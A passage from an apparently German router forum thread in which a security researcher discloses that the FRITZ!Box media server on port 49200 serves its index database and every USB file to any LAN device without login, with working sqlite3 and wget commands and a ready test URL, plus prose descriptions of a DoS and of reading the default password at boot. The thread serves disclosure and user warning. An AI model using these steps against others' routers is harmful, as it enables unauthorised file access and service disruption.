# [COLOR="#0000FF"][B]for table in audio video image doc other; do sqlite3 nas_pentest.db3 "SELECT parentpath||'/'||filename FROM $table;"; done | wc -l[/B][/COLOR]
133
Das paßt ja schon fast zu perfekt.

Jedenfalls lassen sich jetzt diese Dateien alle der Reihe nach über eine passende URL von der FRITZ!Box laden ... und das (man ahnt es fast) immer noch ohne jede Anmeldung.

Exemplarisch mal eine einzelne:
Code:
# [COLOR="#0000FF"]wget -q -O - http://192.168.178.254:49200/pentest/switch_system[/COLOR]
[COLOR="#008000"]#! /bin/sh
current=$(sed -n -e "s/^linux_fs_start\t\([01]\)$/\1/p" /proc/sys/urlader/environment)
if [ ${#current} -eq 1 ]; then
        new=$(( ( $current + 1 ) % 2 ))
        echo "linux_fs_start $new" >/proc/sys/urlader/environment
        echo "system switched - new value is: linux_fs_start $new" 1>&2
        exit 0
else
        echo "unable to read linux_fs_start value" 1>&2
        exit 1
fi[/COLOR]
Damit lasse ich mich zu der Behauptung hinreißen, daß man sich (zumindest wenn es um das Lesen von Dateiinhalten geht) die Vergabe getrennter Rechte für irgendwelche NAS-Benutzer auch getrost schenken kann - damit kann man höchstens die Zugriffe be-, aber nicht verhindern.

Die "Vertraulichkeit" des Inhalts dort liegender Dateien darf man jedenfalls nicht dieser Rechtevergabe anvertrauen, zumindest dann nicht, wenn gleichzeitig ein Zugriff auf so einen Datenträger über den Mediaserver der FRITZ!Box möglich ist - und das ist erwiesenermaßen die Standardeinstellung einer FRITZ!Box 6490 und vermutlich auch noch der 7490-Laborversion, es sei denn, AVM hat es doch noch geändert in diesem Zweig.


-Zwar gelingen diese Zugriffe tatsächlich nur aus dem (W)LAN ... aber ich bin mir ziemlich sicher, daß sich lange nicht jeder FRITZ!Box-Besitzer der Tatsache bewußt war (und ist), daß in der Standardeinstellung (Mediaserver läuft mit "keine Einschränkungen") wirklich jeder USB-Speicher an der FRITZ!Box bis zur letzten Datei ausgelesen werden kann, selbst wenn man sich als Besitzer redlich darum bemüht hat, die Zugriffsrechte der Benutzer per FTP, Samba und GUI ordentlich zu regeln. Allerdings kann man über den Mediaserver nichts schreiben ... das ist zumindest mal ein kleiner Pluspunkt.

Was könnte AVM hier besser machen? Ich sage mal, so einiges ... das geht bereits damit los, daß man den Zugriff auf die Index-Datenbanken über jeden Weg des Zugriffs auf den NAS-Speicher blockieren sollte, das gilt eigentlich auch für die BPjM-Sperrliste, denn auch die stellt das System in einem dieser "FRITZ"-Ordner bereit und den Namen braucht man nicht raten.

Ohne diese Index-Datenbanken fällt schon mal ein wichtiger Punkt weg, denn ohne Kenntnis der genauen URL kann ein Angreifer nur raten bzw. probieren, welche Dateien dort erreichbar wären.

Der nächste Schritt wäre das Verstecken der tatsächlichen Verzeichnisstruktur im Inhaltsverzeichnis des Mediaservers ... an die Stelle des kompletten Pfades in einer URL für den Download könnte problemlos eine GUID (das ist eine eindeutige ID - globally unique) treten und dann braucht es eben ein passendes Mapping von dieser GUID (das kann eine SQLite3-DB auch gleich verwalten) auf den tatsächlichen Dateinamen.

Das macht dann das Raten praktisch unmöglich und wenn sich dann - als dritte Maßnahme - der Webserver für den Download auch noch daran orientiert, ob eine angeforderte Datei im Katalog des Mediaservers überhaupt veröffentlicht ist, dann ist (a) automatisch der Download der Index-DB blockiert und wenn man (b) nur für solche Dateien überhaupt eine GUID generiert, die auch abgerufen werden dürfen, dann gibt es für die ganzen Dateien in "other" gar keine "Adresse", mit der man da zugreifen könnte.

Diese drei Vorschläge überlappen sich zwar teilweise in ihren Effekten ... aber fällt dann mal eine dieser Maßnahmen aus (meinetwegen läßt sich der Webserver für den Dateidownload irgendwie austricksen), dann stehen die anderen Hindernisse trotzdem noch im Weg als weitere "line of defense". Wie wichtig mehrere solcher Verteidigungslinien nacheinander sein können, ist auch wieder eine Binsenweisheit.

Das Blockieren des Zugriffs auf die Index-Dateien ist sicherlich am leichtesten ... die ganzen NAS-Zugriffe prüfen ohnehin schon recht genau, daß da nicht außerhalb der gültigen Verzeichnisse zugegriffen werden kann, da ist die zusätzliche Prüfung, daß auf "FRITZ" nicht zugegriffen werden darf, eigentlich nur noch eine Formalie (die Quellen für diesen Teil der Firmware sind veröffentlicht im OpenSource-Paket).

Die dritte Maßnahme wäre fast schon als Abfallprodukt verfügbar, wenn man die zweite umsetzt ... die versteckt erstens die realen Verzeichnisstrukturen und wenn dann eine Datei ohne GUID gar nicht geladen werden kann, dann ist die "Entscheidung" für den Webserver (auf Port 49200) praktisch nicht mehr nötig, denn dann kriegen einfach nur die Media-Dateien eine solche GUID zugewiesen.


-Aber ist es nicht eigentlich halb so wild, wenn man da alle USB-Speicher auslesen kann?

Das muß am Ende jeder selbst wissen ... immerhin steht dieser Zugriff derzeit jedem beliebigen Gerät im Heimnetz offen (und zwar ... da kommt Ihr nie drauf ... ohne jede Authentifizierung :)) und wenn mit dem IoT in der Zukunft immer mehr Geräte hinzukommen, dann kommen garantiert auch weitere "Lücken" in diesen Geräten auf. Wenn heute irgendeine Überwachungskamera für große DDoS-Angriffe rekrutiert werden kann, dann geht das morgen für den Kühlschrank und andere "weiße Ware" - bei anderen "Gadgets" ist das heute schon die Realität. Wenn der FireTV-Stick in aller Stille noch die Inhaltsverzeichnisse des NAS der FRITZ!Box einsammelt und an irgendeine "Sammelstelle" übermittelt, dann kann man sich als Angreifer auch nur noch gezielt die Dateien zusenden lassen, die man für "lesenswert" hält (und auch diese Auswahl kann noch eine Heuristik übernehmen).

Wer hingegen hingeht und sich z.B. OwnCloud auf seiner FRITZ!Box installiert und die Daten auf einem USB-Volume ablegt, der macht das vermutlich auch mit dem Gedanken im Hinterkopf, daß dann seine Daten auf der eigenen FRITZ!Box etwas sicherer vor dem Ausspähen sind ... läuft parallel noch der AVM-Mediaserver auf der Box mit (selbst ich kenne nicht so viele Leute, die den extra abschalten - wer würde denn auch schon erwarten, daß so ein Dienst standardmäßig aktiviert wird), sind die Daten vermutlich bei einem Cloud-Anbieter sogar noch sicherer vor allzu neugierigen Blicken (da lesen dann nur noch irgendwelche Dienste ständig mit).

Zumindest könnte dann AVM bei aktivierten Mediaserver für das freigegebene (oder eben alle, je nach Einstellungen) Volume(s) ehrlicherweise die Möglichkeit der Vergabe von "Leserechten" gleich deaktivieren - das ist ein reines Placebo (noch mal: unter den geschilderten Rahmenbedingungen).
 
Zuletzt bearbeitet:
Was macht der Mediaserver (der HTTP-Server auf 49200) bei NTFS/EXTx-Symlinks?

Da man sehen kann, ob ein Ordner existiert oder nicht: Macht der Server nach zu vielen Requests zu?
 
Moin

In der Standardeinstellung verteilt der Mediaserver auch ganz normal Medien von NAS-Benutzern, denen ein Verzeichnis auf USB zugewiesen wurde.

Zum Beispiel: Das FTP-Verzeichnis, wo die Überwachungskamera die Bewegungserkennung abspeichert
:rolleyes: ...da kommt dann wirklich jeder dran.
 
Ob es andere Dienste gibt, die aus dem LAN ohne Anmeldung den Zugriff auf alle USB-Volumes in der Standard-Einstellung erlauben, wäre ein anderes Thema ... ich denke aber, es gibt keinen weiteren mit ähnlichen Aufgaben.

Wird der Mediaserver in den Einstellungen deaktiviert, steht auch der HTTP-Server auf dem Port 49200 nicht zur Verfügung. Auf einen "SUBSCRIBE"-Request für Mediaserver-Events reagiert dann der "upnpd" auch mit "not found". Die Service-Beschreibungen für den Mediaserver (MediaServerDevDesc.xml und dort aufgeführte weitere SCPDs) sind weiterhin abrufbar, auch wenn er abgeschaltet ist (unproblematisch). Die Bindung des "upnpd" an den Port 49000 bleibt natürlich auch bei abgeschaltetem Mediaserver bestehen, dort laufen ja mehrere Services zusammen.

Welche der dort über den "upnpd" angebotenen Dienste (das ist geht ja von TR-064 bis zur Steuerung von L2TPv3-Tunneln) weitere Probleme bereiten könnten, braucht bei einer (unabhängigen) Untersuchung immer sehr viel Zeit. Da nimmt man sich Dienst für Dienst vor und schaut sich an, wie der funktioniert, welche Funktionen der bietet und wie die ein Angreifer mißbrauchen könnte. Im Gegensatz zu einem Programmierer bei AVM schaut man dabei eben nicht darauf, ob so ein Dienst erwartungsgemäß funktioniert ... man überlegt im Gegenteil, wo der Programmierer vielleicht "vergessen" haben könnte, seinen Code gegen unerwartete Eingaben oder unerwarteten Mißbrauch für andere Zwecke zu härten.

Da man die Quellen nicht hat (Blackbox-Ansatz), hat das auch viel mit Probieren zu tun - ich unterstelle einfach mal, daß AVM automatische Tests mit irgendwelchen zufälligen, meist unsinnigen Eingaben (fuzzing) bereits selbst macht - dabei wird aber eben in den meisten Fällen nur ein einzelner Aspekt bzw. Dienst auf die Reaktion auf falsche Eingabedaten abgeklopft.

Wenn sich ein Problem aus mehreren Lücken zusammensetzt (hier ist es eben die Möglichkeit des Downloads der Index-DB in Verbindung mit der (und eigentlich auch in Folge der) mangelhaften Überprüfung von Requests durch den Webserver auf 49200 und dem "Verplappern" des MediaServerContent-Service über die notwendigen Pfade, die erst in ihrer Kombination zum Problem werden), wird aber die "Schuldzuweisung" eben auch schwierig - zumindest dann, wenn das verschiedene Programmierer oder Teams sind, die da jeweils verantwortlich zeichnen.

Ist ein Zugriff nur möglich, wenn der Mediaserver aktiviert ist, oder auch bei deaktiviertem Mediaserver?
Ein Zugriff worauf? Alles, was den HTTP-Server auf Port 49200 benötigt, ist bei deaktiviertem Mediaserver nicht mehr machbar - wenn das die Frage war.

In wie weit kann man bei der Einstellung "keine Einschränkung" (im Heimnetz) Daten aus anderen Boxen auslesen?
Gar nicht ... das bezieht sich nur auf die direkt angeschlossenen Speicher-Volumes. Auch der direkte Zugriff auf den Online-Speicher (WebDAV) ist über den Server auf Port 49200 nicht möglich, das wird mit HTTP-Error 403 abgelehnt.

Wenn ich es richtig verstehe, so indexiert die 4040 (bei mir) dann ja das gesamte Heimnetz (NAS, andere Mediaserver, ...).
Nein, das ist falsch. Die FRITZ!Box indiziert die bei ihr angeschlossenen USB-Speicher. Allerdings berücksichtigt sie bei NTFS-Volumes natürlich keine Zugriffsrechte für einzelne Dateien und Verzeichnisse. Da sie die Datenbank auch dort auf dem betroffenen Dateisystem ablegt, sollte man einen einmal an der FRITZ!Box indizierten USB-Stick mit NTFS vielleicht nicht unbedingt direkt wieder an einem Windows-System anschließen, wenn man dort NTFS-ACLs verwendet, um bereits die Namen von Dateien in bestimmten Unterverzeichnissen zu verbergen ... die stehen dort wieder in der "fritznasdb_part.db3" im Unterverzeichnis "FRITZ/mediabox" zur Abholung bereit.

Was macht der Mediaserver (der HTTP-Server auf 49200) bei NTFS/EXTx-Symlinks?
Symlinks werden normalerweise mit "404" (not found) quittiert, "special files" (block/char devices, FIFOs) mit "403" (forbidden). Wie das bei NTFS-Reparse-Points ist, wenn ein NTFS-Volume über ntfs-3g eingebunden ist, weiß ich nicht ... ich würde vermuten, daß ein Zugriff/eine Umleitung bereits beim ntfs-3g scheitert (ist aber nur "geraten" und nicht getestet).

Da man sehen kann, ob ein Ordner existiert oder nicht: Macht der Server nach zu vielen Requests zu?
Die Frage und ihren Kontext verstehe ich nicht. Meinst Du zuviele gleichzeitige aktive Requests a la DoS? Oder die Anzahl der sequentiellen Request? Die ist (m.W.) unbegrenzt, etwas wie "max. 3x abrufbar" gibt es dort nicht. Oder meinst Du Requests mit "404", weil da jemand einfach das Alphabet auf der Suche nach einem richtigen Dateinamen durchgeht? Das habe ich gar nicht erst getestet ... solche "brute force"-Angriffe auf Datei-(system-)inhalte machen nicht so sehr viel Sinn, wenn es eben ein "Inhaltsverzeichnis" gibt. Die Tabelle "directory" in der Datenbank listet zwar die vorhandenen Verzeichnisse auf dem Volume ebenfalls auf, aber ein Download (in der Art eines "listings", wie es beim automatischen Erstellen einer Index-Seite bei anderen Webservern erfolgt) ist dort nicht möglich (403 bei der Angabe eines Verzeichnisses als Ziel einer URL).


-Allerdings gibt es tatsächlich eine Möglichkeit für einen (internen und mit gewissen Einschränkungen bei seinen Auswirkungen auch externen) DoS-Angriff auf eine FRITZ!Box, das soll seit der Labor-Version für die 7490, die am oder um den 21.10.2016 veröffentlicht wurde, behoben sein.

Theoretisch sind die 90 Tage seit der Meldung, die ich AVM für eine (passende, da kooperative) Antwort auf meine Nachfragen zur Abstimmung einer koordinierten Veröffentlichung eingeräumt habe, inzwischen zwar - mehr oder weniger ergebnis- und reaktionslos - abgelaufen, aber ich warte trotzdem mit einer Veröffentlichung von Details vermutlich doch noch bis zum Erscheinen der Release-Version.

Fakt ist jedoch, daß man derzeit auf vielen FRITZ!Boxen den externen Zugriff über einen freigegebenen HTTPS-Port (wohl auch für die ganzen FRITZ!Apps, die müssen ja auch für den TR-064-Aufruf von extern über diesen Port und bei der Attacke wird die begrenzte Anzahl (15) von parallel möglichen externen TLS-Verbindungen ausgereizt) ganz leicht unzugänglich machen kann und aus dem internen Netz (da reicht bereits der Aufruf einer präparierten Webseite, die kann auch von einem AdServer oder so kommen, solange Javascript erlaubt und XHR möglich ist) ist das sogar bis zum DoS für alle TCP-Verbindungen zu treiben und das auf Tage, denn das ist kein SYN-Flooding oder "connection overload" oder ähnliches, was sich innerhalb kurzer Zeit wieder einpendeln würde. Jeder einzelne Request blockiert für ~40 Minuten und von innen habe ich es auf ca. 180 solcher Requests gebracht, das wären dann 180 x 40 / 60 = 120 Stunden = 5 Tage, für die man die FRITZ!Box aus dem Verkehr ziehen könnte (sofern die nicht neu gestartet wird). Wobei das nicht über die gesamte Zeit ein kompletter Ausfall wäre, denn nach ca. 120-130 x 40 Minuten (das sind dann nur etwas mehr als drei Tage), nimmt die FRITZ!Box dann wieder neue Requests an - sofern der Angreifer nicht seinerseits "nachlegt". Daß auch das natürlich ohne irgendwelche Kenntnis von Credentials funktioniert, versteht sich von alleine ... sonst wäre es kein "richtiger" Angriff.

Aber davon irgendwann demnächst ... dann hoffe ich auch darauf, eine Liste der tatsächlich betroffenen Modelle und Versionen (mit der Hilfe von Testern hier) aufstellen zu können; von AVM ist da keine sinnvolle Antwort - geschweige denn Kooperation - zu erwarten. Bisher ist nämlich das "viele" nur eine Vermutung meinerseits, besser und genauer wäre wohl "auf einigen" - eine genaue Auflistung der betroffenen Modelle habe ich auch nicht. Getestet habe ich im Juni (und danach) die 7390, 7412, 7490 und 6490 und dann immer mal wieder sporadisch neu erschienene Versionen. Zuletzt dann die 141.06.63 für die 6490 vom 27.10.2016 und das Problem besteht auch hier weiterhin (zumindest von innen, von außen kann ich mangels Kabel-Vertrag nicht ohne Konfigurationsänderung der 6490 testen, die aber erst einmal in ihrer "Werkseinstellung" betrieben wird für weitere Tests), was ich angesichts der Timeline des Incidents nun so gar nicht mehr nachvollziehen kann oder will.
 
Zuletzt bearbeitet:
Für eine ersten Test (iOS, Android, Windows, u.s.w.) reicht schon...
http://fritz.nas:49200/FRITZ/mediabox/fritznasdb_part.db3
...in einer Webbrowseradresszeile für das Herunterladen des "Inhaltsverzeichnisses".
 
Zuletzt bearbeitet:
  • Like
Reaktionen: digi1
@koy:
Wenn Du bei diesem Test den Mediaserver meinst: Da stellt sich für mich die Frage nach den betroffenen Modellen nicht wirklich, das dürfte für jede FRITZ!Box mit Mediaserver(!) gelten, seitdem die Firmware diese "FRITZ"-Verzeichnisse und die Index-Datenbanken benutzt.

Mein Bemerkung zu der Hoffnung auf "Testhilfe" bezog sich nur auf die DoS-Möglichkeit - die könnte sich bei anderen Modellen unterscheiden, wobei ich mit der 7390 (NOR, TFFS im NOR), 7412 (NAND, inkl. TFFS), 7490 (NAND, TFFS im NOR) und schließlich der 6490 mit ihrem (komplett) anderen Aufbau schon eine recht breite Palette von Modellen abdecke bei eigenen Tests - da darf man dann auch mal abstrahieren und annehmen, daß ähnlich aufgebaute Modelle mit ähnlicher Software ebenfalls betroffen sind. Aber die genauen Versionsnummer (von - bis) fehlen mir meistens ebenfalls - spielen hier für den Mediaserver auch keine wirkliche Rolle.


-OT:
Ich bin auch nicht einmal sicher, ob AVM das hier überhaupt als Sicherheitsproblem ansieht ... daher habe ich es gar nicht erst an AVM direkt gemeldet, weil ich nicht alles zweimal schreiben will. Ich bin mir ziemlich sicher, daß es sich bis zu AVM herumsprechen wird und da ist dann so eine Benachrichtigung "über Bande" (schließlich ist die Kenntnisnahme (und ggf. Abschaltung des Servers) der Betroffenen von diesem Problem (und das sind hier die FRITZ!Box-Besitzer und nicht AVM) für mich der einzige "Ertrag" der investierten Arbeit) auch für mich ausreichend.

Wer das jetzt mitbekommen hat und den Mediaserver selbst abschaltet, ist durch diesen Beitrag hier auch nicht zusätzlich gefährdet - aber er hat jetzt eben die Möglichkeit, selbst tätig zu werden, weil er von dem Problem überhaupt weiß (oder wissen kann). Das ist bei solchen "vertraulichen Mitteilungen" an den Hersteller ja gerade nicht der Fall und bei Problemen wie diesem hier, wo der Besitzer der Box sich komplett erst einmal selbst helfen kann, ist das direkte Veröffentlichen in meinen Augen auch absolut vertretbar. Zumal es bis zur Beseitigung des Problems (falls AVM jemals tätig wird, weil man meine Einschätzung teilt) wieder eine sehr lange Zeit dauern wird - jedenfalls nach den bisherigen Erfahrungen.

Da die letzten Kontakte zu Security-Problemen ohnehin wenig erbaulich waren, bin ich von der direkten Kommunikation mit AVM wieder abgekommen - sofern es keine von außen zu nutzende Lücke a la "webcm" ist, deren sofortige Veröffentlichung die FRITZ!Box-Besitzer gefährden würde. Wobei ich mich beim Ablauf bei einigen von mir im letzten halben Jahr gemeldeten Problemen (als Beispiel das Kapern einer Box über die "provideradditive.tar", das ist bei der (eigenen) Anwendung mit der 6490 ja eher noch harmlos, weil es da der Besitzer ist - das könnte aber ebenso "ein Böser" sein und es betrifft wieder viele, wenn nicht sogar alle Modelle) ohnehin in der früher mal geäußerten Ansicht bestätigt sehe, daß bei AVM wohl selbst eine Meldung zum "webcm"-Bug Ende 2013 locker in den Tiefen der Verwaltung verschwunden wäre.

Das, was ich für echte Verbesserung/Veränderung/Meinungsumschwung bei AVM hielt, ist wieder so weit eingeschlafen (wieviele 06.5x-Versionen wird es wohl noch geben, bis AVM die Seite "Sicherheitsinfos zu Updates" mal wieder aktualisiert), daß ich so gar keine Lust mehr habe, mich damit herumzuärgern - das war von 2013 bis Okt. 2014 schon mal der Fall, wo ich das komplett aufgegeben hatte. Wenn ich mich richtig erinnere, kam im Sept. 2013 von AVM eine Firmware, bei der SSL-Verbindungen zum GUI nur noch mit dem bekanntermaßen geknackten RC4-Verfahren abgesichert werden konnten (in diesem Jahr trat E. Snowden ins Licht der Öffentlichkeit) und parallel dazu irgendwelche FRITZ!Apps, denen man als MITM so ziemlich jedes Zertifikat vorsetzen konnte.

Das habe ich an AVM gemeldet (und hier im IPPF irgendwo aufgeschrieben, das mit dem MITM aber ohne Details) und als sich da nichts tat, dann irgendwann 8 Wochen später auch an heise.de. Da ging es dann zu allem Überfluß auch noch nach 2 Mails hin und her unter (da wollte ich auch nicht weiter nachfragen, was mir heute auch nicht mehr passieren würde) und wurde erst später im August 2014 wieder ausgegraben, als jemand anderes das App-Problem unabhängig noch einmal gefunden hatte (das war ein heise.de-Redakteur) und AVM sich endlich zur Behebung des Problems durchringen konnte. Wenn man so gar keine (sinnvolle) Reaktion erlebt (und das war bei AVM bis zum "webcm" im Januar 2014 ziemlich sicher so), verliert man irgendwann halt das Interesse (an der Kommunikation, nicht an Pentests) und dann muß man sich andere Wege suchen, die eigenen Erkenntnisse zu teilen und ggf. die Besitzer von FRITZ!Boxen zu warnen. Für eine Mailing-Liste wie "full disclosure" ist dann ein Problem bei einer FRITZ!Box schon fast nicht mehr wichtig genug (und wieviele FRITZ!Box-Besitzer erreicht man darüber schon) ... sogar mitre.org weigert sich seit August, für AVM-Produkte (und natürlich noch für viele andere für die USA irrelevante Hersteller, also nicht nur für AVM) CVE-Nummern zu vergeben. Da ist dann das IPPF eine denkbare Plattform (zumindest teilweise FRITZ!Box-lastig, wohl wegen Freetz) - aber ich habe natürlich jeden dieser (längeren) Beiträge auch noch in Kopie, falls das IPPF mal eingehen sollte; dann zieht das auch auf GitHub um (die können nur keinen BB-Code und man müßte das erst umformatieren).
 
Zuletzt bearbeitet:
Danke Peter, dass du deine Erkenntnisse mit uns teilst.
Ich habe den Medienserver nie genutzt (u.a. weil die Performance ja wirklich peinlich schlecht ist), trotzdem habe ich ihn jetzt mal abgeschaltet. *

Dabei ist mir eine seltsame Sache aufgefallen, die ich mir jetzt mangels Expertise nicht erklären kann:
Zuerst habe ich den "Speicher (NAS)" abgeschatet, die fritznasdb_part.db3 konnte ich dann aber immernoch runterladen und unter "Mediaserver" war der Haken aktiv und ausgegraut:
Bildschirmfoto von »2016-11-09 22-15-40«.png
erst nachdem ich "Speicher (NAS)" wieder aktiviert hatte, um dann den "Mediaserver" zu deaktivieren, konnte fritznasdb_part.db3 nicht mehr runtergeladen werden - kann mir jetzt einer erklären, was der Unterschied zwischen dem Speicher und dem Mediaserver ist, und warum letzterer nicht deaktiviert ist, wenn ersterer deaktiviert ist?

* Ich bin bei sowas ja immer der Meinung, wo eine stümperhafte Lücke ist, können weitere nicht weit sein... Und ich bin bei Peters Erzählungen immer etwas erschüttert, wie AVM mit den Lücken (und den Findern) umgeht. Es ist ja nicht so, dass nur 10 Leute diese Router verwenden würden, und die angesprochene DoS-Lücke hört sich richtig böse an. Weil speziell präparierte HTTP-Requests zu generieren ist m.w.n. nicht verboten, und was kann ich schon dafür, wenn die FritzBox damit nicht klar kommt? ;)
 
NAS -> Dateispeicherung, Zugriff möglich über FTP, Samba, GUI; FTP und Samba sind endlich getrennt zu deaktivieren. Eine (De-)Aktivierung des GUI-Zugriffs (also meinetwegen nur Samba als gewünschter Zugriff) ist m.E. nicht möglich.

Mediaserver -> Gespann aus einer UPnP-Erweiterung, die u.a. den Verzeichnisdienst bereitstellt und einem HTTP-Server, der praktisch nur Downloads nach HTTP-Protokoll beherrscht und die Dateien unter den URLs im per UPnP ausgelieferten Verzeichnis (für dessen komplette Zusammenstellung per UPnP man als Client mehrere Requests braucht, es gibt keine "Gesamtliste") bereithält - das heißt noch nicht, daß die Dateien in diesem Verzeichnis da auch wirklich physikalisch liegen müssen, es gibt einige "virtuelle" Bestandteile in so einer URL, die u.a. für das Skalieren von Bildern o.ä. genutzt werden - soweit ich das gesehen habe, ist das "on the fly", jedenfalls stehen diese Bestandteile ja auch nicht in der DB

NAS und Mediaserver sind also zwei getrennte Dienste ... beim "grauen Haken" würde ich trotzdem erst einmal darauf tippen, daß es lediglich ein Fehler im GUI ist (es gibt so viele andere Inkonsistenzen).

Obwohl der Mediaserver ohne USB-Speichervolume eigentlich immer noch Sinn machen kann (wenn Dateien auf dem internen Speicher einer entsprechend ausgestatteten Box liegen und auch Internetradio und Podcasts sollten ohne USB-Volumes auskommen können), tippe ich mal (ohne es zu prüfen) darauf, daß da irgendwo bei den Bedingungen für die Aktivierung der Checkbox (bzw. für den Wegfall der Deaktivierung - und das meint natürlich nicht den "Inhalt", sondern den Status der Checkbox) noch ein Bestandteil enthalten ist, der den Status des NAS-Services (fälschlicherweise) berücksichtigt.

Insgesamt gibt es da ja viele Kombinationsmöglichkeiten ... ich weiß auch nicht, ob der Mediaserver für den 1&1-Onlinespeicher oder die MagentaCloud selbst dann funktioniert, wenn da kein USB-Volume verfügbar ist - theoretisch wäre ja auch das denkbar.

Wobei es bei der 6490 auch immer noch so ist, daß da der NAS-Service automatisch aktiviert wird, ohne daß der Besitzer es einstellen müßte - in gewissen Grenzen kann man die (vermeintlich dahinterstehende) Idee, daß diese Box ja 1,4 GB internen Speicher hat, auch nachvollziehen - besser wäre trotzdem eine Abfrage bei der Einrichtung bzw. ich hoffe mal, daß nach der Änderung im 7490-Labor die Dienste standardmäßig aus sind.

In jedem Falle würde ich mir zumindest wünschen, daß AVM auf der Sicherheitsseite die für den NAS-Zugriff "gestarteten" Dienste (auch wenn FTP und Samba "on demand" arbeiten und nicht wirklich "gestartet" sind) auch detailliert aufführt - nach den Änderungen bei der 7490-Laborversion ergibt sich jetzt beim Abschalten des FTP- und Samba-Services sogar die absurde Situation, daß in der Übersichtsseite bei "Speicher (NAS)" etwas von "deaktiviert" steht, was sich beim Aufruf der Seite "Heimnetz > Speicher (NAS)" wieder ganz anders darstellt:

nas_status.PNG

Die Frage, ob das nun wirklich nur dem Beta-Status geschuldet ist oder ob derjenige, der das eingebaut/umgesetzt hat, die verschiedenen Kombinationen vielleicht niemals getestet hat, stelle ich mir schon gar nicht mehr ...

Bei aktiviertem NAS-Service wird dann in der Übersichtsseite auch nicht etwa angezeigt, welche Dienste den Zugriff ermöglichen ... die Anzeige beinhaltet nur Informationen zum Speicherplatz (genutzt, frei).

Der Zugriff über FRITZ!NAS läßt sich m.W. ohnehin nicht abschalten - an dieser Stelle versteht AVM unter NAS wohl nur FTP und Samba, obwohl ja gerade der GUI-Zugriff die Möglichkeiten für gezielte Freigabe-Links und Sharing (oder auch wieder "leaks", wenn ein Unberechtigter einen solchen Link aktivieren könnte) bietet.

Ich kann auch noch verstehen, wenn ein Programmierer bei AVM "stolz" auf sein Werk ist und das gerne dem Besitzer der Box ohne zusätzliche Einstellungen zur Verfügung stellen möchte. Aber wenn da keiner mit dem Blick des "Sicherheitsbeauftragten" den Hut auf hat bei einer solchen Entscheidung, dann sind auf der FRITZ!Box eben alle möglichen Dienste ständig aktiviert, die kein Mensch braucht ... ja, die meisten wissen nicht einmal, daß es sie gibt und nutzen sie deshalb nicht.

Wenn ich bei einem Kunden das Bedürfnis nach der Nutzung einer bestimmten Funktion geweckt habe (auf welchem Weg auch immer), dann kann ich es ihm ja wohl auch zumuten, daß er erst noch eine Einstellung (zum Start des Dienstes) ändert, wenn er ihn zum ersten Mal benutzen will ... dabei kann ich ihm dann gleich auch noch Hinweise zur Bedienung und zum sicheren Umgang mit dem Feature geben. So etwas per "default" zu aktivieren und am Ende nutzt es niemand, widerspricht nun mal den elementarsten Grundlagen einer sicheren Konfiguration und das hat auch mit "usability" nichts zu tun.

Ich kann es auch noch akzeptieren, wenn irgendeine "App" (nachdem der Benutzer sich mit Namen und Kennwort authentifiziert hat und wenn er die Berechtigung dazu besitzt) dann für ihn das Aktivieren solcher Services übernimmt.

Aber dann sollte dazu auch tatsächlich die Vergabe eines Kennworts gefordert werden und ganz ehrlich ... ich habe bei einer 6490 das erste Mal so richtig gesehen, wie AVM das mit dem werksseitig eingestellten Kennwort gelöst hat und das macht es (meine Meinung) sogar noch schlimmer gegenüber der vorhergehenden Situation, wo der Besitzer als erstes ein Kennwort vergeben sollte. Ich wüßte zu gerne, was sich die Leute bei AVM dabei wirklich gedacht haben ... die Idee mit einem "Startkennwort" ist immer noch richtig und meinetwegen soll das auch bei jeder Werkseinstellung wieder gültig sein - aber die Umsetzung ist in meinen Augen trotzdem (ich formuliere jetzt bewußt überheblich und wertend) dilettantisch.

Nirgendwo bei der Einrichtung findet sich jetzt der Hinweis, daß man dieses Standardkennwort unbedingt ändern muss, denn das selbst ausgedachte Kennwort konnte ein Angreifer wenigstens nicht ohne weiteres auslesen.

Das neue GUI-Kennwort kann jedoch jedes mit der FRITZ!Box mit einem Ethernet-Kabel verbundene Gerät ganz einfach auslesen, während die Box irgendwann mal neu gestartet wird (das merkt kein normaler Benutzer, wenn das 3-5 Sekunden länger dauert) und da ist dann ein Besitzer, der sich auf das schon eingestellte Kennwort verläßt (schließlich kann man das nicht vergessen, steht ja hinten drauf), sogar noch schlechter dran.

Man kann eben die Sicherheit eines Kennworts nicht nur an der "Entropie" festmachen und das von "rot" bis "grün" bewerten ... wenn ein Kennwort ohne weitere Authentifizierung maschinenlesbar ist (und sei es "nur selten", aber so selten wird nicht jede FRITZ!Box gestartet), dann ist dessen Entropie gleich Null und alles andere ist reine Augenwischerei.

Das gibt zwar im Testkonzept des BSI 10 Punkte, aber die gäbe es auch, wenn man die Vergabe eines (starken) Kennworts beim ersten Zugriff auf das GUI erzwingen würde.

Ich vermute mal, daß mit "individuell" dort nicht die Möglichkeit gemeint war, das Standardkennwort auslesbar in der Box zu hinterlegen und dann den Besitzer mit einem 10-stelligen "gemischten" Standardkennwort (das die Richtlinien durchaus erfüllt, aber was nutzt das) in falscher Sicherheit zu wiegen.

Zwar ist das Auslesen nur aus dem LAN möglich (weil die Box ohnehin beim Start keinen WAN-Zugriff zuläßt), aber schon eine zweite gekaperte FRITZ!Box, die mit der anzugreifenden per Ethernet-Kabel verbunden ist, kann - wie jedes andere Gerät an diesem Kabel auch - diese Aktion ausführen. Das ist letztes Jahrtausend ... das LAN ist heutzutage nicht mehr "automatisch gut" und sogar Lego-Baukästen können sich als Gefahr erweisen (nehmen wir mal an, daß da ein per Kabel verbundener AP verwendet wird).

Das kann man machen, wenn es einen gesonderten "Management"-Port an so einer Box gäbe oder irgendeine andere "Präsenzinformation" abgefragt wird, bevor der FTP-Server im Bootloader gestartet wird. Ansonsten gehen gerade über den Bootloader auch so viele andere Angriffsvarianten, daß ich tatsächlich auf die erste Box warte, wo AVM mal den Bootloader z.B. so abändert, daß der erst nach dem Drücken eines Buttons den FTP-Server anwirft.

Bisher habe ich noch nichts davon gelesen, daß AVM bei den neueren Boxen wie der 7580, 7560, 6430, 4040, usw. - wo man ja in diesem Jahr noch die Auslieferung der ersten Geräte vor sich hatte und dabei den Bootloader gleich hätte "richtig" machen können - irgendwelche sinnvollen Vorkehrungen getroffen hätte.

Auch heute noch kann ich als ungebetener Gast mit einem kleinen Einplatinen-Computer an jeder FRITZ!Box die Kontrolle übernehmen (und die Einstellungen auslesen) und dazu muß ich den bloß irgendwo im LAN der Box platzieren und brauche gar keinen physikalischen Zugang zur Box - solange ich die Box nur irgendwann mal automatisch oder über ihr "Herrchen" (meinetwegen durch einen DoS-Angriff von innen, wo sie dann gar nicht mehr erreichbar ist) zu einem Neustart bewegen kann.
 
Moin

Hab mal ein bischen rumgespielt :D

